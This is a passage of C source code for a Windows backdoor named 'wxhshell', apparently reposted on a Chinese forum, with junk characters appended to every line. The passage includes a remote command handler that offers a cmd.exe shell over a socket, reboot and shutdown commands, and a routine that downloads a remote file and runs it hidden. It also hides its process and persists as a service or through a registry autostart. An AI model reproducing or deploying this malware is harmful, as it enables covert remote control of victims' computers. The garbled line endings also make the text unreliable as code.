  else { { c]y<q  
H1N%uk=kV  
    switch(cmd[0]) { rR/PnVup  
  >R :Bkf-  
  // 帮助 O[$ &]>x]]  
  case '?': { LA1UD+S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^f@EDG8  
    break; ^'#vUj:"  
  } @dw0oRF  
  // 安装 O{Wy;7i  
  case 'i': { kvKbl;<&#  
    if(Install()) z`'{l {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @'dtlY5;  
    else I>:M1Yc0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hv8V=Z'Q  
    break; - wCfwC  
    } dZ_Hj X7  
  // 卸载 bz,C%HFA  
  case 'r': { !}<Y^="  
    if(Uninstall()) FL- sXg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,|}Pof=]xk  
    else &_G^=Nc,H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 81`-xVd  
    break; ;jS~0R  
    } A[^fG_l4  
  // 显示 wxhshell 所在路径 ?9.SwIxU&  
  case 'p': { u0\?aeg`  
    char svExeFile[MAX_PATH]; R{u/r%  
    strcpy(svExeFile,"\n\r"); }fdo Aid~  
      strcat(svExeFile,ExeFile); L-vy,[9)[*  
        send(wsh,svExeFile,strlen(svExeFile),0); )nQA) uz  
    break; j#zUO&Q@  
    } P6@(nGgK<  
  // 重启 3y<;fdS7  
  case 'b': { 6f(K'v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xV}-[W5sr'  
    if(Boot(REBOOT)) 6o!+E@V b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m&cVda/  
    else { ^*`hJ48u  
    closesocket(wsh); Y2HF  
    ExitThread(0); n](Q)h'nlo  
    } Jwgd9a5  
    break; 6]1cy&SG  
    } }HRM6fR1S  
  // 关机 a;8q7nC  
  case 'd': { ~{/"fTif  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r< sx On  
    if(Boot(SHUTDOWN)) }y;s(4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Eu.Y  
    else { 5Ay\s:hb[u  
    closesocket(wsh); =*_T;;E  
    ExitThread(0); GB&<+5t2  
    } aOIE9wO  
    break; ^U)xQD"  
    } wak_^8x  
  // 获取shell Pm*FA8a7  
  case 's': { s8Bbe t  
    CmdShell(wsh); R,>LUa*u  
    closesocket(wsh); R utRA  
    ExitThread(0); ^Cs?FF@P  
    break; !hdOH3h=  
  } Yi:@>A<#  
  // 退出 =^%#F~o:  
  case 'x': { YEqZ((H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -C1,$mkj  
    CloseIt(wsh); m:_'r"o  
    break; K*NCIIDh  
    } s"gNHp.oF  
  // 离开 mW- 4  
  case 'q': { AXFQd@#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^~XsHmcQ  
    closesocket(wsh); }V:ZGP#!'  
    WSACleanup(); SoC3)iqv/  
    exit(1); `\Z7It?aDs  
    break; 7|bzopLJk  
        } "&lQ5]N.%  
  } H!PMb{e  
  } HtFc+%=  
wA$ JDf)Vg  
  // 提示信息 jJc:%h$|2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -q'G]}  
} X?kw=x{2P  
  } KsVN<eR{  
7.}Vvg#G  
  return; s_:7dD  
} I5Vp%mCY  
T8'm{[C  
// shell模块句柄 WOkAma-  
int CmdShell(SOCKET sock) Pk)>@F<  
{ p$.m=+K~  
STARTUPINFO si; _/xA5/V  
ZeroMemory(&si,sizeof(si)); awu18(;J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2nz^%pLT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5\S s`#g  
PROCESS_INFORMATION ProcessInfo; ^6g^ Q*"  
char cmdline[]="cmd"; .0 }eg$d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }Y9= 3X  
  return 0; x6N)T4J(  
} 9eR4?^(3!  
M it3q  
// 自身启动模式 FglW|Hwy  
int StartFromService(void) ] 40@yrc  
{ wjEyU:  
typedef struct fD:BKJQ  
{ oyC5M+shP9  
  DWORD ExitStatus; =2J^ '7  
  DWORD PebBaseAddress; w&F.LiX^  
  DWORD AffinityMask; 1/\JJ\  
  DWORD BasePriority; D[i?T3i  
  ULONG UniqueProcessId; 5TynAiSD_>  
  ULONG InheritedFromUniqueProcessId; +V Oczl=  
}   PROCESS_BASIC_INFORMATION; ?2q4dx 0  
;+;%s D  
PROCNTQSIP NtQueryInformationProcess; ?cur}`  
$@utlIXA'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ngLpiU0H&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N1!O8"Q|*3  
^ L?2y/  
  HANDLE             hProcess; ! mb<z^>5  
  PROCESS_BASIC_INFORMATION pbi; A  r,fmq  
ks19e>'5Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u,~/oTg O  
  if(NULL == hInst ) return 0; z ?L]5m` H  
W6^YFN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pE4yx5r5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r}nz )=\Cj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pOq9J7BS  
hEhvA6f,  
  if (!NtQueryInformationProcess) return 0; 3Z_\.Z1R@  
!-AK@`i.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vX;~m7+  
  if(!hProcess) return 0; IRG-H!FV  
\%/Y(YVm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +wIv|zj9  
2 Q}^<^r  
  CloseHandle(hProcess); h?7@]&VJ  
AFdBf6/" i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =wquFA!c  
if(hProcess==NULL) return 0; |V-)3 #c  
>Q#\X=a>  
HMODULE hMod; @:w[(K[^b/  
char procName[255]; $N/"c$50,  
unsigned long cbNeeded; 5H!6m_,w  
3[Z7bhpV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }.t8C y9G  
v|IG G'r  
  CloseHandle(hProcess); _1ax6MwX  
>NJ`*M  
if(strstr(procName,"services")) return 1; // 以服务启动 Y]neTX [ef  
g9G 8;  
  return 0; // 注册表启动 |R3A$r#-  
} M _e^KF  
!n3J6%b9y/  
// 主模块 FA$1&Fu3Y  
int StartWxhshell(LPSTR lpCmdLine) (5h+b_eB  
{ l*-$H$  
  SOCKET wsl; rUDMQxLruV  
BOOL val=TRUE; zlhI\jRdc  
  int port=0; WUK{st.z  
  struct sockaddr_in door; aTFT'(O,  
m\eYm;R Vj  
  if(wscfg.ws_autoins) Install(); ~8tb^  
L(`Rf0smt  
port=atoi(lpCmdLine); Dssecc'  
BvqypLI  
if(port<=0) port=wscfg.ws_port; k.6(Q_TS  
v]@ n'!  
  WSADATA data; 7-j=he/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X;QhK] Z  
d: LP8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ICm/9Onh&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?bw1zYP  
  door.sin_family = AF_INET; Z"5ewU<?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;t5e]  
  door.sin_port = htons(port); uTvck6  
j6#RV@ p`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dl=qss~g+  
closesocket(wsl); ^nN@@ \-5  
return 1; 56!/E5qgW  
} 'eg;)e:`b+  
w ;]~2$  
  if(listen(wsl,2) == INVALID_SOCKET) { ] :n! \G  
closesocket(wsl); hWAZP=H  
return 1; "!z9UiA  
} IiB"F<&[j{  
  Wxhshell(wsl); +^<-;/FZue  
  WSACleanup(); Av,E|C  
UlH;0P?  
return 0; vI0::ah/  
Y~g*"J5j  
} >Ni<itze$i  
g/BlTi  
// 以NT服务方式启动 _28vf Bl?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >*e,+ok  
{ %Kc2n9W  
DWORD   status = 0; 7#9yAS+x(  
  DWORD   specificError = 0xfffffff; a[ A*9%a  
X%]m^[6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; We:b1sZR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -=VGXd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tY0C& u2  
  serviceStatus.dwWin32ExitCode     = 0; =N<Z@'c  
  serviceStatus.dwServiceSpecificExitCode = 0; rF)[ Sed:T  
  serviceStatus.dwCheckPoint       = 0; 1%k$9[!l%  
  serviceStatus.dwWaitHint       = 0; [.LbX`K:  
n81z 0lnr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [O\[,E"K  
  if (hServiceStatusHandle==0) return; #7"*Pxb#A  
65AG# O5R  
status = GetLastError(); ofHe8a8  
  if (status!=NO_ERROR) 4 t< mX  
{ rh$q]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +5oK91o[y  
    serviceStatus.dwCheckPoint       = 0; bqSp4TI  
    serviceStatus.dwWaitHint       = 0; Fpckb18}(O  
    serviceStatus.dwWin32ExitCode     = status; +lED6 ]+%  
    serviceStatus.dwServiceSpecificExitCode = specificError; k \V6 q9*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V^E.9fs,  
    return; *WK0dn  
  } pipqXe  
jb lj]/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HRF;qR9v  
  serviceStatus.dwCheckPoint       = 0;  KSB{Z TE  
  serviceStatus.dwWaitHint       = 0; qJq2Z.>hy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s2;b-0  
} _S3qPPo3l]  
=.yKl*WV{  
// 处理NT服务事件,比如:启动、停止 %2z] 2@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q8[I` V{  
{ W=ar&O~}n  
switch(fdwControl) ;=F]{w]$+  
{ VtzX I2.2  
case SERVICE_CONTROL_STOP: *Rj(~Q/t  
  serviceStatus.dwWin32ExitCode = 0; sJB::6+1(|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >uVr;,=y  
  serviceStatus.dwCheckPoint   = 0; 1Aw/-FxJ  
  serviceStatus.dwWaitHint     = 0; #azD& 6`  
  { jw$[b=sa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w//L2.  
  } gbL!8Z1h  
  return; LS{t7P9K  
case SERVICE_CONTROL_PAUSE: @-G^Jm9~\m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GEQ3r'B|  
  break; $9Asr07  
case SERVICE_CONTROL_CONTINUE: F2Nb]f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _7Rp.)[&  
  break; t182&gpd`  
case SERVICE_CONTROL_INTERROGATE: (OT&:WwW  
  break; zcE[wM  
}; w;4FN'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \'.#of  
} NZ=`iA8)X  
P/;d|M(  
// 标准应用程序主函数 0VBbSn}Z<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jce^Xf  
{ flzHZH  
d/!R;,^  
// 获取操作系统版本 |A%Jx__  
OsIsNt=GetOsVer(); 'v:%} qMv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9e>Dqlv  
p`}'-A|@  
  // 从命令行安装 +ew9%={zB  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ql.abU  
^;gwD4(hs  
  // 下载执行文件 M8}t`q[-&  
if(wscfg.ws_downexe) { f_qW+fN::s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +`s%-}-r  
  WinExec(wscfg.ws_filenam,SW_HIDE); AV:P/M^B  
} 5\\a49k.p  
R1lC_G]  
if(!OsIsNt) { YNV4'  
// 如果时win9x,隐藏进程并且设置为注册表启动 "JJEF2e@Z  
HideProc(); @EV*QC2l;Y  
StartWxhshell(lpCmdLine); e SlZAdK  
} S=.7$PY  
else *eb2()B%  
  if(StartFromService()) [K4wd%+  
  // 以服务方式启动 afNqK~  
  StartServiceCtrlDispatcher(DispatchTable); 8dY Pn+`  
else w\QMA3  
  // 普通方式启动 y1@*)| r  
  StartWxhshell(lpCmdLine); oGXndfd"  
OPP^n-iPr  
return 0; ">D7wX,.>  
}
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只看该作者 1 发表于: 2006-10-10
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